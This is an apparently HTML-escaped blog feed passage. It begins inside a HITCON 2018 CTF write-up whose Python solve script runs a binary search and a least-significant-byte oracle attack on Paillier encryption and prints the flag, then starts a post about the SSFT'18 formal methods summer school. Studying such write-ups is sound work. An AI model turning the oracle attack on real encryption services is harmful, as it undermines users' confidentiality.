            &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inp_copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;repr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Stage 2&lt;/h3&gt;

&lt;p&gt;Now, we move on to actually computing the value of &lt;code&gt;n&lt;/code&gt;. This is a
relatively standard binary search, with minor modifications to ensure
that we are only looking at odd numbers.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;stage2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;checks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1023&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;progress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Stage 2&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;checks&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;low = &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, high = &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmdB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Complete&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Stage 3&lt;/h3&gt;

&lt;p&gt;Now that we have &lt;code&gt;n&lt;/code&gt;, we have to compute the flag.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;stage3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;shifter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;invert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;known_flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;progress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Stage 3&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lsh&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lsh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;known_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag_enc&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;prev_lsh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lsh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;subtr_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prev_lsh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;prev&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prev_lsh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;subtr_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;subtr_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prev&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;prev_lsh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lsh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;neg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subtr_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmdA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;neg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shifter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lsh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;known_flag&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmdB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;repr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Complete&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Profit&lt;/h3&gt;

&lt;p&gt;We call out all the stages in order, and profit with a flag!&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;stage0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;stage1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;stage2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;stage3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;FLAGE!!! &amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;repr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;hitcon{binary__search__and_least_significant_BYTE_oracle_in_paillier!!}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;

&lt;p&gt;I originally wrote this for the PPP &lt;a href=&quot;https://github.com/pwning/public-writeup/tree/master/hitcon2018/lost_modulus&quot;&gt;public-writeups
repository&lt;/a&gt;. Adapted
it with minor stylistic changes for the blog.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>My Awesome Experience at the Summer School on Formal Techniques (SSFT'18)</title>
   <link href="https://www.jaybosamiya.com/blog/2018/05/31/ssft/"/>
   <updated>2018-05-31T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2018/05/31/ssft</id>
   <content type="html">&lt;p&gt;I spent the past week, at the &lt;a href=&quot;http://fm.csl.sri.com/SSFT18/&quot;&gt;Summer School on Formal
Techniques&lt;/a&gt;, and it was an absolutely
amazing experience. Chronicled below, are the different great
talks/labs that were part of this week long program, as well as my
thoughts interspersed in. Overall, this was an unforgettable week,
where I learnt a lot, made new friends, and had some nice discussions
about a lot of very interesting topics. I also found out about some
things that I had no idea about before, and thus I decided to write at
least a short summary down for each of the different things that
happened, so that maybe it might be useful to some (or more likely me
from the future) as references for things to read up on.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/ssft1.jpg&quot; alt=&quot;&quot;&gt;
&lt;div class=&quot;caption&quot;&gt;Group Photo at SSFT&amp;#39;18&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;I initially heard about SSFT via a message on our &lt;a href=&quot;https://project-everest.github.io/&quot;&gt;Project
Everest&lt;/a&gt; Slack. After all, two of
our team (&lt;a href=&quot;https://www.microsoft.com/en-us/research/people/nswamy/&quot;&gt;Nikhil
Swamy&lt;/a&gt; and
&lt;a href=&quot;https://jonathan.protzenko.fr/&quot;&gt;Jonathan Protzenko&lt;/a&gt;) were going to
give talks and conduct tutorials at this summer school. Since I had
only recently (approximately a year ago) started my journey into
Formal Methods/Techniques, this seemed like the perfect opportunity to
widen my field of view in this field- a field which seems to be able
to cover almost every topic known in Computer Science. As a person who
started from a more &amp;quot;systems-y&amp;quot; background, I (rightly) thought that
this would give me the requisite theoretical background to dive deeper
into this field, in addition to giving me practical hands on
experience with other tools and techniques used in this field. I&amp;#39;d
been using &lt;a href=&quot;https://fstar-lang.org/&quot;&gt;F*&lt;/a&gt; for almost a year by now,
but had yet to have had a chance to mess around with other tools that
are commonly used (except for
&lt;a href=&quot;http://research.microsoft.com/dafny&quot;&gt;Dafny&lt;/a&gt;, which is a beautiful
language to start off in this field btw). The fact that approximately
half the time was dedicated to the labs, surely was a bonus!&lt;/p&gt;

&lt;p&gt;The Summer School was held at Menlo College in Atherton, California,
from Sat May 19 to Fri May 25, 2018. I must thank
&lt;a href=&quot;http://fm.csl.sri.com/&quot;&gt;SRI&lt;/a&gt; for organizing it, and NSF for funding
our travel/stay/etc. The organization of the entire summer school, as
well as how everything was managed, was absolutely impeccable. Oh, and
a special shout-out goes to the chefs at Menlo College who made
absolutely marvelous food that kept us powered up through this week
long intense mental workout!&lt;/p&gt;

&lt;p&gt;As for the actual summer school, it started off with an optional
background course, titled &amp;quot;Speaking Logic&amp;quot;, which ran over the first
two days (i.e. Sat/Sun). Despite it being optional, it seems like most
of us at the summer school attended it, and it definitely was worth
it. &lt;a href=&quot;http://www.csl.sri.com/users/shankar/&quot;&gt;N Shankar&lt;/a&gt; took us through
a beautiful journey through the fundamentals and principles of logic
and formal methods. Along this journey, we made stops along Naive Set
Theory, Propositional Logic, Cook&amp;#39;s Theorem, Reductions to SAT, Proof
Systems, Minimal Logic, and Meta-Theorems. We also stopped off at
Interpolation, Resolution, First Order Logic, SMT Solving, the
Tarski-Knaster Theorem, and Bounded Model Checking. Alongside these
(already amazing) topics were the awesome detours that Shankar took,
with his own anecdotes and stories. A bunch of these even led to some
intense discussions during and after the lectures! We did do a bunch
of proving things in &lt;a href=&quot;http://pvs.csl.sri.com/&quot;&gt;PVS&lt;/a&gt;, and it definitely
seems like a great tool to get people started with some serious formal
proofs :)&lt;/p&gt;

&lt;p&gt;After this deep dive into Logic, &lt;a href=&quot;http://www.lix.polytechnique.fr/%7Elengrand/&quot;&gt;Stéphane
Graham-Lengrand&lt;/a&gt; took us
on an adventure through Type Theory, where the Proofs-as-Programs
paradigm reigns king. Type Theory is the foundation for a wide variety
of interactive theorem provers, such as &lt;a href=&quot;https://coq.inria.fr/&quot;&gt;Coq&lt;/a&gt;,
Agda, Lean, Matita, etc. During this talk, we went over the Lambda
Calculus and Simple Types, Intuitionistic logic (and Constructivism),
Computing with Intuitionistic proofs, HOL with proof-terms, Dependent
types, and more, all building up to the final bomb that blew our
minds- Homotopy Type Theory. Stéphane used an extremely well thought
out analogy, using a Vacuum Cleaner Power Cord, to explain the basics
and motivation for Homotopy Type Theory (HoTT). I&amp;#39;d always wondered
why people were excited when talking about equalities, but with just
this one example, Stéphane has ensured that I am definitely going to
dive into this topic, much deeper, sometime soon! BTW, this entire
talk was punctuated with proofs done in Coq, and the exercises for the
same, can be found
&lt;a href=&quot;http://www.lix.polytechnique.fr/%7Elengrand/SSFT2018/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As day 2 came to an end, some of us realized that we&amp;#39;d covered a &lt;em&gt;lot&lt;/em&gt;
of ground, and that we&amp;#39;d need some time to digest it, so we went back
over our notes and the slides, trying to ensure that we&amp;#39;d actually got
some of the details straight. BTW, the speaking logic
&lt;a href=&quot;http://fm.csl.sri.com/SSFT18/speaklogicV8.pdf&quot;&gt;slides&lt;/a&gt; are not only
available online, but are also quite detailed, and I would recommend
the interested reader to take a look at these to get an overview of
what logic and proofs and formal methods are about. However, the
slides do not include all of those amazing anecdotes etc, that were
there during the actual talk, so maybe you should consider joining the
summer school when it happens next? ;)&lt;/p&gt;

&lt;p&gt;Starting from Day 3 (i.e. Monday), we had a change of pace, with the
schedule changing to a bunch of talks until mid-afternoon, followed by
a couple of lab-sessions.&lt;/p&gt;

&lt;p&gt;Monday&amp;#39;s talks started with a wonderful talk by &lt;a href=&quot;https://homes.cs.washington.edu/%7Eemina/index.html&quot;&gt;Emina
Torlak&lt;/a&gt;, about
&lt;a href=&quot;https://emina.github.io/rosette/&quot;&gt;Rosette&lt;/a&gt;. The talk, titled
&amp;quot;Solver-Aided Programming&amp;quot; was about a programming model that
integrates solvers into the language, which provides constructs for
program verification, synthesis, and more. A strong emphasis was
